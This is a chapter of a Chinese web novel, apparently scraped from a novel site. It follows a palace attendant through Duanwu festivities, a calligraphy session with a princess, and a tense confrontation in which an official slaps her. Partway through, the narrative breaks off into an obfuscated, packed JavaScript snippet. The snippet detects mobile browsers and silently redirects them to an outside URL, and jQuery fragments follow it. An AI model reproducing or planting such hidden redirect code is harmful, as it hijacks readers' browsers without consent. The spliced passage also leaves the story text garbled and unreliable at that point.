文趣网 > 其他小说 > 荼靡残 > 35. 端午节
    第二日便是端午,然太祖时期下令废除端午假期,不过宫内欢庆却从初一持续到十三。

    此时昭明帝与百官在天坛饮着雄黄酒,举行走骠骑、龙舟竞渡、射柳等戏。

    雯锦从直房一路走到坤宁宫,发觉宫眷内臣都穿着“五毒艾虎补子蟒衣”。

    坤宁宫宫门两旁摆着几盆菖蒲、艾草盆栽,在春日暖阳的炙烤下散发着草的清香,风一吹就入了满怀。

    她刚进坤宁宫内,绕过花鸟屏风,袖风将博山炉上燃起的香雾扑散,衣襟上便也沾了些许青桂香。走进阁内,便见皇后娘娘在白玉观音下礼佛。

    再往后一看,黑漆刻灰围屏后有一抹蓝色倩影。

    昭华长公主端坐在书案前临字。

    她的鬓边攒着一朵石榴花。

    只听说过国朝男子尚文崇雅,喜在耳尖别一朵花,殊不知长公主一个女子也喜么?

    皇后看着她呆滞的模样,盘着佛珠的手一顿,笑着朝她招了招手:“姜女史,你过来。”

    雯锦应了一声“好”,三步并两步得走到了皇后跟前。

    “你低一下头。”

    皇后跪坐在蒲团上,雯锦应声俯身迁就她的高度,旋即耳边便被别了个东西。

    “娘娘,这是?”

    雯锦抬手轻抚鬓边花,疑惑道。

    翻纸之声突然止住,昭华长公主在默字的手顿了一下,搁笔抬首,盯着雯锦,扬了扬下巴:

    “端午节,又称‘女儿节’,每逢此时,顺天府家家户户从初一至初五,皆妆扮自家闺女,在她们耳边簪上朵开得正艳的石榴花。”

    “奴婢从未听闻,竟还有这个习俗吗?”

    雯锦只知道杭州人称“端午节”为“天中节”,人们以五彩丝系粽,以彩绒线编织经筒符袋,互相馈赠。

    南京人在庭院悬道士朱符,门户上用丝缕系一个独蒜,并用彩帛、通草制作五毒物连缀于大艾叶上,悬挂在门上。

    “姜女史不是北方人罢?”皇后轻笑一声,问道。

    “嗯。”

    “你来看我默字罢。”

    昭华说着,侧身往外挪了挪身子,拉雯锦坐定,将手上抄着的《蜀素帖》往前推了推:

    “你瞧,这两页毛边纸的字迹比对,是不是笔锋较先前更稳了些?”

    雯锦闻言垂首,便见那纸上字迹锋棱分明,字形倾斜欹侧,如危石倚崖,却险而不斜。

    “公主的字写得极好,确有米芾遗风。”

    昭华笑笑:“你也别恭维我了,我学了好些年,才有这几分米芾筋骨。不过……我听闻你从前也念过书习过字,写几个字给我看看罢。”

    雯锦拗不过她,只好抬臂挽袖。

    “公主想要奴婢写什么?”

    “你的名字罢。我还挺喜欢的,是取自‘珺璟如晔,雯华若锦’吗?”

    雯锦轻嗯一声,盘膝跪坐。

    “难怪都说望女成凤。雯,云文也;锦,襄邑织文也。天上最美的云与人间最贵的锦,令尊他恨不得把世间能想到的美好都揉进你的名字里啊。”

    “许是爹爹此生子嗣单薄,老来得女罢。公主,奴婢写完了。”

    昭华长公主闻声视去,见其字迹潦草,宛若风扶弱柳,竟无一分筋骨,不由噗嗤一笑。

    “你字为何如此……春蚓秋蛇啊?”

    “奴婢……未得老师教习过,的确字迹不堪,污了公主的眼。抱歉。”

    雯锦垂首,凝着脚底,轻声道。

    昭华以为自己言语中伤她,忙作补道:

    “姜女史,你误会了,我没嘲弄你的意思。我那手字也是习了好些年方才练成,拿到名师大儒面前尚上不得台面。不过你的字也不是无可救药,平素无事可以向景和学习一下,他那手字比本公主好多了。”

    雯锦听着,想起来前些日子她央着他写下的“百姓昭明,协和万邦”。

    “殿下的字很好吗?”

    “他啊,还成吧。毕竟也师从名门,又偷偷习了几年姜……那个人的字。你若有心,也不必拜谁,单临几回他的字,也能摸出门道来。毕竟那个人的字当年确是誉满京师的,父皇也夸过。”

    那个人……

    爹爹的名字,还真是……人人避讳啊。

    雯锦攥住笔的手紧了一下,垂眼搁笔,抖下弯折在臂的袍袖,慢慢抓紧袖中的手。

    “你怎么了,脸色这样差?”

    “没什么。”

    “左右你也无事,便陪我默字罢。一个人太无聊了,你在一旁誊抄文书。”

    “好。”

    不知过了多久,夕曛斜斜,支摘窗将窗外浓密的叶影切碎,在屏风后两个年轻姑娘身上投下斑驳青影。

    一时天地昏暗,落日余晖慢慢散去。

    倦鸟归林,虫吟寂然。

    雯锦揉了揉酸涩的眼睛,搁下纸笔,直起身来与长公主辞别。

    她没走几步,便看见顾宛君立在一颗大榆树下,枝叶繁茂遮着那抹沐在落日残阳的身影,雯锦一眼就能认出来是她。

    “我在等你。”

    顾宛君今日没带侍女,孤身一人。

    “等我干嘛。”

    “陪我去看射柳。”

    顾宛君撂下这句话,侧身往身后看了一眼:“求求你了。”

    “那都是些外臣,我们不能去……而且也快散场了罢。”雯锦仰面看了一眼落日,估摸着时间,认真道。

    “我好些年没碰过这些了,阿锦,你就应我一回罢。”

    人生在世总有不称意。

    雯锦看着她一身绫罗绸缎,窥见的却是昔年那个打马扬鞭的恣意少女。

    那锦衣华服之下,包裹着的是一颗与这方紫禁城相龃龉的、不安于室的心脏。

    她败下阵来,应了个“好”。

    **

    射柳是葫芦里装鸽子挂在柳枝上设,以鸽子飞出高低定胜负,顾宛君幼时便喜好与她比试这些。

    只是雯锦许是资质愚钝,任宛君教多少遍她也不能学会,宛君只能恨铁不成钢的摇摇头,再去找一些男童比试。

    但没人比得过她,她那时钦慕程副总兵,总是嚷嚷着日后有机会定要与她比一场。

    自女将军死后,宛君似乎从未再提过她。

    正如此刻,顾宛君东张西望着,显然不是想要来看射柳,倒像是在找什么人。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17827400|209391||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    “宛君,你在找……”

    雯锦话还没说完,便听见身后传来一声斥:“你们俩在做什么!”

    那人似乎极力隐忍,压低了声音。

    二人闻声扭头,顾济明提着灯朝她们走来,烛火立时照亮她们的脸,雯锦发现他身后还跟着一个人。

    顾秉文,顾宛君同父异母的哥哥。

    顾秉文识趣的俯身行了个大礼:“见过娘娘。”

    顾宛君见了二人,心情顿时不悦起来,她拧着眉头,攥紧了衣襟:“顾阁老见了本宫,不行礼的么?”

    “我是你爹,你想逼我——”顾济明抬手虚指着她,转话道:“谁叫你今日带她来这儿的,你还嫌上次那件事没把自己作死吗!!”

    气氛一时剑拔弩张起来,顾秉文匍匐在地上也不敢起,只是轻轻拉扯了一下顾济明的衣角:“父亲,这是娘娘。”

    顾济明猛地甩开他的手,咬着舌头道:“她还是我女儿!”

    “不,自我入宫那日起,便与顾家断亲。君臣有别,阁老还是尽快给本宫行礼罢。”顾宛君攥紧雯锦的手,手心里沁出来的汗。

    顾宛君一直对这个父亲,有一种莫名的惧怕。

    顾济明看了一眼她,又看了一眼雯锦,不乐意的撩袍屈膝:“阿锦,你怎地也陪宛君胡闹,这地方是你们能进的吗?”

    他的眼风从雯锦脸上一扫而过,雯锦很难形容这是什么感觉,她只能选择沉默。

    顾宛君今日没找到想见的人,懒得与他纠缠,施施然命他起来,她看了一眼天色,便攥住雯锦的手往回走。

    顾秉文扶着顾济明直起身来,他倏地一把拽住雯锦的另一只胳膊,艰难开口道:“为什么……要画那个台子?”

    “顾世叔,你在说什么,奴婢不明白。”

    雯锦垂眼,疑道。

    “你分明没失忆,对吗?你的字画我认得出来,你到底……”

    “够了,”顾宛君一把推开顾济明,愤然道,“你还要纠缠到几时!”

    “顾世叔既然猜出来又何必再问?不伤感情吗?莫非世叔先前说不论如何都会护我的话,也是骗我的?”

    雯锦甩开他的手,冷硬道。

    “啪”的一声,顾济明颤抖着手自空中举起,最后落在她的脸上。雯锦捂着火辣辣的脸,一声不吭。

    “早知今日,我当初就该叫你死在——”

    意识到自己的失言,顾济明即刻住了嘴,手颤抖着还未垂下。

    顾宛君一掌拍落他的手,将雯锦扯在身后:“你无故打人做什么!”

    “早该叫我死在那个雪天,对吗?”

    雯锦眼眶倏地红了,眼角挂着几滴晶莹的泪珠,将坠不坠。

    她摁着胸口,声中带着丝哭腔,就那么望着他。

    “姜家丫头,我父亲他……没那个意思,就是一时气急。你到底做了什么,让他那么生气,和他道个歉罢,他素日最疼你了。”

    顾秉文一面为顾济明顺气,一面盯着雯锦道。

    “你住嘴!”顾济明推开他,朝雯锦近前走了两步,顾宛君忙将她往身后带了带。

    “你为什么要变成现在这个样子!”